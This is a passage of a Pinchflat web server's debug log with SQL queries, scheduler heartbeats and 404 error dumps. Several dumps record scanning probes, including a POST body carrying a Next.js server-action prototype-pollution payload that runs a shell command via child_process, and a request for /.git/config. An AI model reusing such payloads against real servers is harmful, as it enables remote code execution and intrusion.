((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:24:27.131 [debug] QUERY OK source="media_items" db=1.5ms idle=14.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:24:27.132 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:24:27.136 [info] Sent 200 in 35ms 18:24:27.352 [info] HEAD /apps 18:24:27.353 [debug] QUERY OK source="settings" db=0.3ms idle=234.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.353 [debug] QUERY OK source="settings" db=0.2ms idle=233.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.353 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:24:27.354 [error] #PID<0.261088.0> running PinchflatWeb.Endpoint (connection #PID<0.261086.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: HEAD /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46724}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.94.105.200", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.94.105.200" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261088.0>, params: %{}, path_info: ["apps"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc"}, {"host", "pinchflat.guano.duckdns.org"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "35.94.105.200"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"}, {"x-real-ip", "35.94.105.200"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDwe4wnWhIh30kAJ4wB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46724}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.94.105.200", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.94.105.200" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46724}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.94.105.200", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 18:24:27.427 [info] POST /apps 18:24:27.428 [debug] QUERY OK source="settings" db=0.3ms idle=297.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.428 [debug] QUERY OK source="settings" db=0.2ms idle=296.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:24:27.428 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:24:27.429 [error] #PID<0.261089.0> running PinchflatWeb.Endpoint (connection #PID<0.261086.0>, stream id 3) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: POST /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46724}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.94.105.200", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.94.105.200" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "POST", owner: #PID<0.261089.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: ["apps"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "753"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc"}, {"host", "pinchflat.guano.duckdns.org"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "35.94.105.200"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"}, {"x-real-ip", "35.94.105.200"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDwe5CcEhkfjAkAJ4xB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46724}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYemVxM3FsMnRZZWQxRjM1UVAwMWstUUlp.wee_EnGDmIFMB2_AvWKrcD-ixd-WUCFvh3WU4YJ1kqc", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.94.105.200", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.94.105.200" }, method: "POST", body_length: 753, pa (truncated) 18:24:29.568 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:59.570 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.255 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:29.572 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:59.574 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.256 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:29.576 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:59.578 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.257 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:29.579 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:59.582 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.258 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:29.584 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:59.586 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.259 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:29.588 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:59.590 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.260 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:29.592 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:59.594 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.261 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:29.596 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:59.598 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.262 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:29.600 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:59.602 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.263 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:29.604 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:59.606 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.264 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:29.608 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:59.610 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.265 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:29.612 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:59.614 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.266 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:29.616 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:44.675 [info] GET /.git/config 18:36:44.676 [debug] QUERY OK source="settings" db=0.4ms idle=97.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:36:44.677 [debug] QUERY OK source="settings" db=0.2ms idle=32.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:36:44.677 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:36:44.678 [error] #PID<0.261157.0> running PinchflatWeb.Endpoint (connection #PID<0.261156.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261156.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49732}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.238", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.148.10.238" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261157.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.238"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "45.148.10.238"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDxJzgKzT9npIcAJ49B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261156.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49732}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", 